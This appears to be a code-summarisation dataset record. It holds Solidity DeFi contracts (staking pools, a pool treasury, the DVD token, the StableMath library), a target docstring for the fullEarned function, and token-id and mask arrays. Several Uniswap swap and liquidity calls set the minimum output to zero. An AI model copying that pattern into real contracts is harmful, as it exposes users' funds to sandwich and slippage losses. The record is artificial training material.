IERC20(sdvd).safeTransfer(address(poolTreasury), tax); // Increase total totalNetReward = totalNetReward.add(net); totalTaxReward = totalTaxReward.add(tax); } if (totalReward > 0) { emit Claimed(sender, recipient, totalNetReward, totalTaxReward, totalReward); } } /// @notice Check if farm can be open function _checkOpenFarm() internal { require(farmOpenTime <= block.timestamp, 'Farm not open'); if (!isFarmOpen) { // Set flag isFarmOpen = true; // Initialize lastUpdateTime = block.timestamp; finishTime = block.timestamp.add(rewardDuration); rewardRate = rewardAllocation.div(rewardDuration); // Initialize bonus bonusLastUpdateTime = block.timestamp; bonusRewardFinishTime = block.timestamp.add(bonusRewardDuration); bonusRewardRate = bonusRewardAllocation.div(bonusRewardDuration); } } /// @notice Check and do halving when finish time reached function _checkHalving() internal { if (block.timestamp >= finishTime) { // Halving reward rewardAllocation = rewardAllocation.div(2); // Calculate reward rate rewardRate = rewardAllocation.div(rewardDuration); // Set finish time finishTime = block.timestamp.add(rewardDuration); // Set last update time lastUpdateTime = block.timestamp; // Emit event emit Halving(rewardAllocation); } } /// @notice Check if need to increase snapshot in lord of coin function _notifyController() internal { ILordOfCoin(controller).checkSnapshot(); ILordOfCoin(controller).releaseTreasury(); } /* ========== View ========== */ /// @notice Get staked token total supply function totalSupply() external view returns (uint256) { return _totalSupply; } /// @notice Get staked token balance function balanceOf(address account) external view returns (uint256) { return accountInfos[account].balance; } /// @notice Get full earned amount and bonus /// @dev Combine earned function fullEarned(address account) external view returns (uint256) { return earned(account).add(bonusEarned(account)); } /// @notice Get full reward rate /// @dev Combine reward rate function fullRewardRate() external view returns (uint256) { return rewardRate.add(bonusRewardRate); } /// @notice Get claim reward tax function claimRewardTaxDenominator() public view returns (uint256) { if (block.timestamp < farmOpenTime.add(365 days)) { // 50% tax return 2; } else if (block.timestamp < farmOpenTime.add(730 days)) { // 33% tax return 3; } else if (block.timestamp < farmOpenTime.add(1095 days)) { // 25% tax return 4; } else if (block.timestamp < farmOpenTime.add(1460 days)) { // 20% tax return 5; } else { // 10% tax return 10; } } /// Normal rewards function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, finishTime); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return accountInfos[account].balance.mul( rewardPerToken().sub(accountInfos[account].rewardPerTokenPaid) ) .div(1e18) .add(accountInfos[account].reward); } /// Bonus function lastTimeBonusRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, bonusRewardFinishTime); } function bonusRewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return bonusRewardPerTokenStored; } return bonusRewardPerTokenStored.add( lastTimeBonusRewardApplicable().sub(bonusLastUpdateTime).mul(bonusRewardRate).mul(1e18).div(_totalSupply) ); } function bonusEarned(address account) public view returns (uint256) { return accountInfos[account].balance.mul( bonusRewardPerToken().sub(accountInfos[account].bonusRewardPerTokenPaid) ) .div(1e18) .add(accountInfos[account].bonusReward); } } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import "./uniswapv2/interfaces/IUniswapV2Router02.sol"; import "./uniswapv2/interfaces/IUniswapV2Pair.sol"; import "./uniswapv2/interfaces/IUniswapV2Factory.sol"; import "./interfaces/IDvd.sol"; import "./Pool.sol"; contract SDvdEthPool is Pool { event StakedETH(address indexed account, uint256 amount); event ClaimedAndStaked(address indexed account, uint256 amount); /// @dev Uniswap router IUniswapV2Router02 uniswapRouter; /// @dev Uniswap factory IUniswapV2Factory uniswapFactory; /// @dev WETH address address weth; /// @notice LGE state bool public isLGEActive = true; /// @notice Max initial deposit cap uint256 public LGE_INITIAL_DEPOSIT_CAP = 5 ether; /// @notice Amount in SDVD. After hard cap reached, stake ETH will function as normal staking. uint256 public LGE_HARD_CAP = 200 ether; /// @dev Initial price multiplier uint256 public LGE_INITIAL_PRICE_MULTIPLIER = 2; constructor(address _poolTreasury, address _uniswapRouter, uint256 _farmOpenTime) public Pool(_poolTreasury, _farmOpenTime) { rewardAllocation = 240000 * 1e18; rewardAllocation = rewardAllocation.sub(LGE_HARD_CAP.div(2)); uniswapRouter = IUniswapV2Router02(_uniswapRouter); uniswapFactory = IUniswapV2Factory(uniswapRouter.factory()); weth = uniswapRouter.WETH(); } /// @dev Added to receive ETH when swapping on Uniswap receive() external payable { } /// @notice Stake token using ETH conveniently. function stakeETH() external payable nonReentrant { _stakeETH(msg.value); } /// @notice Stake token using SDVD and ETH conveniently. /// @dev User must approve SDVD first function stakeSDVD(uint256 amountToken) external payable nonReentrant farmOpen { require(isLGEActive == false, 'LGE still active'); uint256 pairSDVDBalance = IERC20(sdvd).balanceOf(stakedToken); uint256 pairETHBalance = IERC20(weth).balanceOf(stakedToken); uint256 amountETH = amountToken.mul(pairETHBalance).div(pairSDVDBalance); // Make sure received eth is enough require(msg.value >= amountETH, 'Not enough ETH'); // Check if there is excess eth uint256 excessETH = msg.value.sub(amountETH); // Send back excess eth if (excessETH > 0) { msg.sender.transfer(excessETH); } // Transfer sdvd from sender to this contract IERC20(sdvd).safeTransferFrom(msg.sender, address(this), amountToken); // Approve uniswap router to spend SDVD IERC20(sdvd).approve(address(uniswapRouter), amountToken); // Add liquidity (,, uint256 liquidity) = uniswapRouter.addLiquidityETH{value : amountETH}(address(sdvd), amountToken, 0, 0, address(this), block.timestamp.add(30 minutes)); // Approve self IERC20(stakedToken).approve(address(this), liquidity); // Stake LP token for sender _stake(address(this), msg.sender, liquidity); } /// @notice Claim reward and re-stake conveniently. function claimRewardAndStake() external nonReentrant farmOpen { require(isLGEActive == false, 'LGE still active'); // Claim SDVD reward to this address (uint256 totalNetReward,,) = _claimReward(msg.sender, address(this)); // Split total reward to be swapped uint256 swapAmountSDVD = totalNetReward.div(2); // Swap path address[] memory path = new address[](2); path[0] = address(sdvd); path[1] = weth; // Approve uniswap router to spend sdvd IERC20(sdvd).approve(address(uniswapRouter), swapAmountSDVD); // Swap SDVD to ETH // Param: uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline uint256[] memory amounts = uniswapRouter.swapExactTokensForETH(swapAmountSDVD, 0, path, address(this), block.timestamp.add(30 minutes)); // Get received ETH amount from swap uint256 amountETHReceived = amounts[1]; // Get pair address and balance uint256 pairSDVDBalance = IERC20(sdvd).balanceOf(stakedToken); uint256 pairETHBalance = IERC20(weth).balanceOf(stakedToken); // Get available SDVD uint256 amountSDVD = totalNetReward.sub(swapAmountSDVD); // Calculate how much ETH needed to provide liquidity uint256 amountETH = amountSDVD.mul(pairETHBalance).div(pairSDVDBalance); // If required ETH amount to add liquidity is bigger than what we have // Then we need to reduce SDVD amount if (amountETH > amountETHReceived) { // Set ETH amount amountETH = amountETHReceived; // Get amount SDVD needed to add liquidity uint256 amountSDVDRequired = amountETH.mul(pairSDVDBalance).div(pairETHBalance); // Send dust if (amountSDVD > amountSDVDRequired) { IERC20(sdvd).safeTransfer(msg.sender, amountSDVD.sub(amountSDVDRequired)); } // Set SDVD amount amountSDVD = amountSDVDRequired; } // Else if we have too much ETH else if (amountETHReceived > amountETH) { // Send excess msg.sender.transfer(amountETHReceived.sub(amountETH)); } // Approve uniswap router to spend SDVD IERC20(sdvd).approve(address(uniswapRouter), amountSDVD); // Add liquidity (,, uint256 liquidity) = uniswapRouter.addLiquidityETH{value : amountETH}(address(sdvd), amountSDVD, 0, 0, address(this), block.timestamp.add(30 minutes)); // Approve self IERC20(stakedToken).approve(address(this), liquidity); // Stake LP token for sender _stake(address(this), msg.sender, liquidity); emit ClaimedAndStaked(msg.sender, liquidity); } /* ========== Internal ========== */ /// @notice Stake ETH /// @param value Value in ETH function _stakeETH(uint256 value) internal { // If in LGE if (isLGEActive) { // SDVD-ETH pair address uint256 pairSDVDBalance = IERC20(sdvd).balanceOf(stakedToken); if (pairSDVDBalance == 0) { require(msg.value <= LGE_INITIAL_DEPOSIT_CAP, 'Initial deposit cap reached'); } uint256 pairETHBalance = IERC20(weth).balanceOf(stakedToken); uint256 amountETH = msg.value; // If SDVD balance = 0 then set initial price uint256 amountSDVD = pairSDVDBalance == 0 ? amountETH.mul(LGE_INITIAL_PRICE_MULTIPLIER) : amountETH.mul(pairSDVDBalance).div(pairETHBalance); uint256 excessETH = 0; // If amount token to be minted pass the hard cap if (pairSDVDBalance.add(amountSDVD) > LGE_HARD_CAP) { // Get excess token uint256 excessToken = pairSDVDBalance.add(amountSDVD).sub(LGE_HARD_CAP); // Reduce it amountSDVD = amountSDVD.sub(excessToken); // Get excess ether excessETH = excessToken.mul(pairETHBalance).div(pairSDVDBalance); // Reduce amount ETH to be put on uniswap liquidity amountETH = amountETH.sub(excessETH); } // Mint LGE SDVD ISDvd(sdvd).mint(address(this), amountSDVD); // Add liquidity in uniswap and send the LP token to this contract IERC20(sdvd).approve(address(uniswapRouter), amountSDVD); (,, uint256 liquidity) = uniswapRouter.addLiquidityETH{value : amountETH}(address(sdvd), amountSDVD, 0, 0, address(this), block.timestamp.add(30 minutes)); // Recheck the SDVD in pair address pairSDVDBalance = IERC20(sdvd).balanceOf(stakedToken); // Set LGE active state isLGEActive = pairSDVDBalance < LGE_HARD_CAP; // Approve self IERC20(stakedToken).approve(address(this), liquidity); // Stake LP token for sender _stake(address(this), msg.sender, liquidity); // If there is excess ETH if (excessETH > 0) { _stakeETH(excessETH); } } else { // Split ETH sent uint256 amountETH = value.div(2); // Swap path address[] memory path = new address[](2); path[0] = weth; path[1] = address(sdvd); // Swap ETH to SDVD using uniswap // Param: uint amountOutMin, address[] calldata path, address to, uint deadline uint256[] memory amounts = uniswapRouter.swapExactETHForTokens{value : amountETH}( 0, path, address(this), block.timestamp.add(30 minutes) ); // Get SDVD amount uint256 amountSDVDReceived = amounts[1]; // Get pair address balance uint256 pairSDVDBalance = IERC20(sdvd).balanceOf(stakedToken); uint256 pairETHBalance = IERC20(weth).balanceOf(stakedToken); // Get available ETH amountETH = value.sub(amountETH); // Calculate amount of SDVD needed to add liquidity uint256 amountSDVD = amountETH.mul(pairSDVDBalance).div(pairETHBalance); // If required SDVD amount to add liquidity is bigger than what we have // Then we need to reduce ETH amount if (amountSDVD > amountSDVDReceived) { // Set SDVD amount amountSDVD = amountSDVDReceived; // Get amount ETH needed to add liquidity uint256 amountETHRequired = amountSDVD.mul(pairETHBalance).div(pairSDVDBalance); // Send dust back to sender if (amountETH > amountETHRequired) { msg.sender.transfer(amountETH.sub(amountETHRequired)); } // Set ETH amount amountETH = amountETHRequired; } // Else if we have too much SDVD else if (amountSDVDReceived > amountSDVD) { // Send dust IERC20(sdvd).transfer(msg.sender, amountSDVDReceived.sub(amountSDVD)); } // Approve uniswap router to spend SDVD IERC20(sdvd).approve(address(uniswapRouter), amountSDVD); // Add liquidity (,, uint256 liquidity) = uniswapRouter.addLiquidityETH{value : amountETH}(address(sdvd), amountSDVD, 0, 0, address(this), block.timestamp.add(30 minutes)); // Sync total token supply ISDvd(sdvd).syncPairTokenTotalSupply(); // Approve self IERC20(stakedToken).approve(address(this), liquidity); // Stake LP token for sender _stake(address(this), msg.sender, liquidity); } emit StakedETH(msg.sender, msg.value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IERC20Mock is IERC20 { function mint(address account, uint256 amount) external; function mockMint(address account, uint256 amount) external; function burn(address account, uint256 amount) external; function mockBurn(address account, uint256 amount) external; } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import "./interfaces/IPool.sol"; /// @dev Ownable is used because solidity complain trying to deploy a contract whose code is too large when everything is added into Lord of Coin contract. /// The only owner function is `init` which is to setup for the first time after deployment. /// After init finished, owner will be renounced automatically. owner() function will return 0x0 address. contract PoolTreasury is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; /// @dev SDVD ETH pool address address public sdvdEthPool; /// @dev DVD pool address address public dvdPool; /// @dev SDVD contract address address public sdvd; /// @dev Distribute reward every 1 day to pool uint256 public releaseThreshold = 1 days; /// @dev Last release timestamp uint256 public releaseTime; /// @notice Swap reward distribution numerator when this time reached uint256 public numeratorSwapTime; /// @notice How long we should wait before swap numerator uint256 public NUMERATOR_SWAP_WAIT = 4383 days; // 12 normal years + 3 leap days; constructor(address _sdvd) public { sdvd = _sdvd; releaseTime = block.timestamp; numeratorSwapTime = block.timestamp.add(NUMERATOR_SWAP_WAIT); } /* ========== Owner Only ========== */ /// @notice Setup for the first time after deploy and renounce ownership immediately function init(address _sdvdEthPool, address _dvdPool) external onlyOwner { sdvdEthPool = _sdvdEthPool; dvdPool = _dvdPool; // Renounce ownership after init renounceOwnership(); } /* ========== Mutative ========== */ /// @notice Release pool treasury to pool and give rewards for farmers. function release() external { _release(); } /* ========== Internal ========== */ /// @notice Release pool treasury to pool function _release() internal { if (releaseTime.add(releaseThreshold) <= block.timestamp) { // Update release time releaseTime = block.timestamp; // Check balance uint256 balance = IERC20(sdvd).balanceOf(address(this)); // If there is balance if (balance > 0) { // Get numerator uint256 numerator = block.timestamp <= numeratorSwapTime ? 4 : 6; // Distribute reward to pools uint dvdPoolReward = balance.div(10).mul(numerator); IERC20(sdvd).transfer(dvdPool, dvdPoolReward); IPool(dvdPool).distributeBonusRewards(dvdPoolReward); uint256 sdvdEthPoolReward = balance.sub(dvdPoolReward); IERC20(sdvd).transfer(sdvdEthPool, sdvdEthPoolReward); IPool(sdvdEthPool).distributeBonusRewards(sdvdEthPoolReward); } } } } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import "./uniswapv2/interfaces/IUniswapV2Router02.sol"; import "./uniswapv2/interfaces/IUniswapV2Factory.sol"; import "./interfaces/IDvd.sol"; import "./interfaces/IPool.sol"; import "./Pool.sol"; contract DvdPool is Pool { event StakedETH(address indexed account, uint256 amount); event WithdrawnETH(address indexed account, uint256 amount); event ClaimedAndStaked(address indexed account, uint256 amount); /// @dev mUSD instance address public musd; /// @dev Uniswap router IUniswapV2Router02 uniswapRouter; /// @dev Uniswap factory IUniswapV2Factory uniswapFactory; /// @dev WETH address address weth; /// @dev SDVD ETH pool address address public sdvdEthPool; constructor(address _poolTreasury, address _musd, address _uniswapRouter, address _sdvdEthPool, uint256 _farmOpenTime) public Pool(_poolTreasury, _farmOpenTime) { rewardAllocation = 360000 * 1e18; musd = _musd; uniswapRouter = IUniswapV2Router02(_uniswapRouter); uniswapFactory = IUniswapV2Factory(uniswapRouter.factory()); weth = uniswapRouter.WETH(); sdvdEthPool = _sdvdEthPool; } /// @dev Added to receive ETH when swapping on Uniswap receive() external payable { } /// @notice Stake token using ETH conveniently. function stakeETH() external payable nonReentrant { // Buy DVD using ETH (uint256 dvdAmount,,,) = ILordOfCoin(controller).buyFromETH{value : msg.value}(); // Approve self IERC20(stakedToken).approve(address(this), dvdAmount); // Stake user DVD _stake(address(this), msg.sender, dvdAmount); emit StakedETH(msg.sender, msg.value); } /// @notice Withdraw token to ETH conveniently. /// @param amount Number of staked DVD token. /// @dev Need to approve DVD token first. function withdrawETH(uint256 amount) external nonReentrant farmOpen { // Call withdraw to this address _withdraw(msg.sender, address(this), amount); // Approve LoC to spend DVD IERC20(stakedToken).approve(controller, amount); // Sell received DVD to ETH (uint256 receivedETH,,,,) = ILordOfCoin(controller).sellToETH(amount); // Send received ETH to sender msg.sender.transfer(receivedETH); emit WithdrawnETH(msg.sender, receivedETH); } /// @notice Claim reward and re-stake conveniently. function claimRewardAndStake() external nonReentrant farmOpen { // Claim SDVD reward to this address (uint256 totalNetReward,,) = _claimReward(msg.sender, address(this)); // Split total reward to be swapped uint256 swapAmountSDVD = totalNetReward.div(2); // Swap path address[] memory path = new address[](2); path[0] = address(sdvd); path[1] = weth; // Approve uniswap router to spend sdvd IERC20(sdvd).approve(address(uniswapRouter), swapAmountSDVD); // Swap SDVD to ETH // Param: uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline uint256[] memory amounts = uniswapRouter.swapExactTokensForETH(swapAmountSDVD, 0, path, address(this), block.timestamp.add(30 minutes)); // Get received ETH amount from swap uint256 amountETHReceived = amounts[1]; // Get pair address and balance address pairAddress = uniswapFactory.getPair(address(sdvd), weth); uint256 pairSDVDBalance = IERC20(sdvd).balanceOf(pairAddress); uint256 pairETHBalance = IERC20(weth).balanceOf(pairAddress); // Get available SDVD uint256 amountSDVD = totalNetReward.sub(swapAmountSDVD); // Calculate how much ETH needed to provide liquidity uint256 amountETH = amountSDVD.mul(pairETHBalance).div(pairSDVDBalance); // If required ETH amount to add liquidity is bigger than what we have // Then we need to reduce SDVD amount if (amountETH > amountETHReceived) { // Set ETH amount amountETH = amountETHReceived; // Get amount SDVD needed to add liquidity uint256 amountSDVDRequired = amountETH.mul(pairSDVDBalance).div(pairETHBalance); // Send dust if (amountSDVD > amountSDVDRequired) { IERC20(sdvd).safeTransfer(msg.sender, amountSDVD.sub(amountSDVDRequired)); } // Set SDVD amount amountSDVD = amountSDVDRequired; } // Else if we have too much ETH else if (amountETHReceived > amountETH) { // Send dust msg.sender.transfer(amountETHReceived.sub(amountETH)); } // Approve uniswap router to spend SDVD IERC20(sdvd).approve(address(uniswapRouter), amountSDVD); // Add liquidity (,, uint256 liquidity) = uniswapRouter.addLiquidityETH{value : amountETH}(address(sdvd), amountSDVD, 0, 0, address(this), block.timestamp.add(30 minutes)); // Approve SDVD ETH pool to spend LP token IERC20(pairAddress).approve(sdvdEthPool, liquidity); // Stake LP token for sender IPool(sdvdEthPool).stakeTo(msg.sender, liquidity); emit ClaimedAndStaked(msg.sender, liquidity); } /* ========== Internal ========== */ /// @notice Override stake function to check shareholder points /// @param amount Number of DVD token to be staked. function _stake(address sender, address recipient, uint256 amount) internal virtual override { require(IDvd(stakedToken).shareholderPointOf(sender) >= amount, 'Insufficient shareholder points'); super._stake(sender, recipient, amount); } } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/math/Math.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import './DvdShareholderPoint.sol'; /// @dev Ownable is used because solidity complain trying to deploy a contract whose code is too large when everything is added into Lord of Coin contract. /// The only owner function is `init` which is to setup for the first time after deployment. /// After init finished, owner will be renounced automatically. owner() function will return 0x0 address. contract Dvd is ERC20, DvdShareholderPoint, Ownable { /// @notice Minter for DVD token. This value will be Lord of Coin address. address public minter; /// @notice Controller. This value will be Lord of Coin address. address public controller; /// @dev DVD pool address. address public dvdPool; constructor() public ERC20('Dvd.finance', 'DVD') { } /* ========== Modifiers ========== */ modifier onlyMinter { require(msg.sender == minter, 'Minter only'); _; } modifier onlyController { require(msg.sender == controller, 'Controller only'); _; } /* ========== Owner Only ========== */ /// @notice Setup for the first time after deploy and renounce ownership immediately function init(address _controller, address _dvdPool) external onlyOwner { controller = _controller; minter = _controller; dvdPool = _dvdPool; // Renounce ownership immediately after init renounceOwnership(); } /* ========== Minter Only ========== */ function mint(address account, uint256 amount) external onlyMinter { _mint(account, amount); } function burn(address account, uint256 amount) external onlyMinter { _burn(account, amount); } /* ========== Controller Only ========== */ /// @notice Increase shareholder point. /// @dev Can only be called by the LoC contract. /// @param account Account address /// @param amount The amount to increase. function increaseShareholderPoint(address account, uint256 amount) external onlyController { _increaseShareholderPoint(account, amount); } /// @notice Decrease shareholder point. /// @dev Can only be called by the LoC contract. /// @param account Account address /// @param amount The amount to decrease. function decreaseShareholderPoint(address account, uint256 amount) external onlyController { _decreaseShareholderPoint(account, amount); } /* ========== Internal ========== */ /// @notice ERC20 Before token transfer hook function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); // If transfer between two accounts if (from != address(0) && to != address(0)) { // Remove shareholder point from account _decreaseShareholderPoint(from, Math.min(amount, shareholderPointOf(from))); } // If transfer is from DVD pool (This occurs when user withdraw their stake, or using convenient stake ETH) // Give back their shareholder point. if (from == dvdPool) { _increaseShareholderPoint(to, amount); } } } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; abstract contract DvdShareholderPoint { using SafeMath for uint256; event ShareholderPointIncreased(address indexed account, uint256 amount, uint256 totalShareholderPoint); event ShareholderPointDecreased(address indexed account, uint256 amount, uint256 totalShareholderPoint); /// @dev Our shareholder point tracker /// Shareholder point will determine how much token one account can use to farm SDVD /// This point can only be increased/decreased by LoC buy/sell function to prevent people trading DVD on exchange and don't pay their taxes mapping(address => uint256) private _shareholderPoints; uint256 private _totalShareholderPoint; /// @notice Get shareholder point of an account /// @param account address. function shareholderPointOf(address account) public view returns (uint256) { return _shareholderPoints[account]; } /// @notice Get total shareholder points function totalShareholderPoint() public view returns (uint256) { return _totalShareholderPoint; } /// @notice Increase shareholder point /// @param amount The amount to increase. function _increaseShareholderPoint(address account, uint256 amount) internal { // If account is burn address then skip if (account != address(0)) { _totalShareholderPoint = _totalShareholderPoint.add(amount); _shareholderPoints[account] = _shareholderPoints[account].add(amount); emit ShareholderPointIncreased(account, amount, _shareholderPoints[account]); } } /// @notice Decrease shareholder point. /// @param amount The amount to decrease. function _decreaseShareholderPoint(address account, uint256 amount) internal { // If account is burn address then skip if (account != address(0)) { _totalShareholderPoint = _totalShareholderPoint.sub(amount); _shareholderPoints[account] = _shareholderPoints[account] > amount ? _shareholderPoints[account].sub(amount) : 0; emit ShareholderPointDecreased(account, amount, _shareholderPoints[account]); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.16 <0.7.0; import {SafeMath} from '@openzeppelin/contracts/math/SafeMath.sol'; /** * @title StableMath * @author Stability Labs Pty. Ltd. * @notice A library providing safe mathematical operations to multiply and * divide with standardised precision. * @dev Derives from OpenZeppelin's SafeMath lib and uses generic system * wide variables for managing precision. */ library StableMath { using SafeMath for uint256; /** * @dev Scaling unit for use in specific calculations, * where 1 * 10**18, or 1e18 represents a unit '1' */ uint256 private constant FULL_SCALE = 1e18; /** * @dev Token Ratios are used when converting between units of bAsset, mAsset and MTA * Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold) * @dev bAsset ratio unit for use in exact calculations, * where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit */ uint256 private constant RATIO_SCALE = 1e8; /** * @dev Provides an interface to the scaling unit * @return Scaling unit (1e18 or 1 * 10**18) */ function getFullScale() internal pure returns (uint256) { return FULL_SCALE; } /** * @dev Provides an interface to the ratio unit * @return Ratio scale unit (1e8 or 1 * 10**8) */ function getRatioScale() internal pure returns (uint256) { return RATIO_SCALE; } /** * @dev Scales a given integer to the power of the full scale. * @param x Simple uint256 to scale * @return Scaled value a to an exact number */ function scaleInteger(uint256 x) internal pure returns (uint256) { return x.mul(FULL_SCALE); } /*************************************** PRECISE ARITHMETIC ****************************************/ /** * @dev Multiplies two precise units, and then truncates by the full scale * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) { return mulTruncateScale(x, y, FULL_SCALE); } /** * @dev Multiplies two precise units, and then truncates by the given scale. For example, * when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18 * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @param scale Scale unit * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncateScale( uint256 x, uint256 y, uint256 scale ) internal pure returns (uint256) { // e.g. assume scale = fullScale // z = 10e18 * 9e17 = 9e36 uint256 z = x.mul(y); // return 9e38 / 1e18 = 9e18 return z.div(scale); } /** * @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit, rounded up to the closest base unit. */ function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e17 * 17268172638 = 138145381104e17 uint256 scaled = x.mul(y); // e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17 uint256 ceil = scaled.add(FULL_SCALE.sub(1)); // e.g. 13814538111.399...e18 / 1e18 = 13814538111 return ceil.div(FULL_SCALE); } /** * @dev Precisely divides two units, by first scaling the left hand operand. Useful * for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17) * @param x Left hand input to division * @param y Right hand input to division * @return Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e18 * 1e18 = 8e36 uint256 z = x.mul(FULL_SCALE); // e.g. 8e36 / 10e18 = 8e17 return z.div(y); } /*************************************** RATIO FUNCS ****************************************/ /** * @dev Multiplies and truncates a token ratio, essentially flooring the result * i.e. How much mAsset is this bAsset worth? * @param x Left hand operand to multiplication (i.e Exact quantity) * @param ratio bAsset ratio * @return c Result after multiplying the two inputs and then dividing by the ratio scale */ function mulRatioTruncate(uint256 x, uint256 ratio) internal pure returns (uint256 c) { return mulTruncateScale(x, ratio, RATIO_SCALE); } /** * @dev Multiplies and truncates a token ratio, rounding up the result * i.e. How much mAsset is this bAsset worth? * @param x Left hand input to multiplication (i.e Exact quantity) * @param ratio bAsset ratio * @return Result after multiplying the two inputs and then dividing by the shared * ratio scale, rounded up to the closest base unit. */ function mulRatioTruncateCeil(uint256 x, uint256 ratio) internal pure returns (uint256) { // e.g. How much mAsset should I burn for this bAsset (x)? // 1e18 * 1e8 = 1e26 uint256 scaled = x.mul(ratio); // 1e26 + 9.99e7 = 100..00.999e8 uint256 ceil = scaled.add(RATIO_SCALE.sub(1)); // return 100..00.999e8 / 1e8 = 1e18 return ceil.div(RATIO_SCALE); } /** * @dev Precisely divides two ratioed units, by first scaling the left hand operand * i.e. How much bAsset is this mAsset worth? * @param x Left hand operand in division * @param ratio bAsset ratio * @return c Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divRatioPrecisely(uint256 x, uint256 ratio) internal pure returns (uint256 c) { // e.g. 1e14 * 1e8 = 1e22 uint256 y = x.mul(RATIO_SCALE); // return 1e22 / 1e12 = 1e10 return y.div(ratio); } /*************************************** HELPERS ****************************************/ /** * @dev Calculates minimum of two numbers * @param x Left hand input * @param y Right hand input * @return Minimum of the two inputs */ function min(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? y : x; } /** * @dev Calculated maximum of two numbers * @param x Left hand input * @param y Right hand input * @return Maximum of the two inputs */ function max(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? x : y; } /** * @dev Clamps a value to an upper bound * @param x Left hand input * @param upperBound Maximum possible value to return * @return Input x clamped to a maximum value, upperBound */ function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) { return x > upperBound ? upperBound : x; } }
@notice Get full earned amount and bonus @dev Combine earned
function fullEarned(address account) external view returns (uint256) { return earned(account).add(bonusEarned(account)); }
1,609,517
[ 1, 967, 1983, 425, 1303, 329, 3844, 471, 324, 22889, 225, 23949, 425, 1303, 329, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
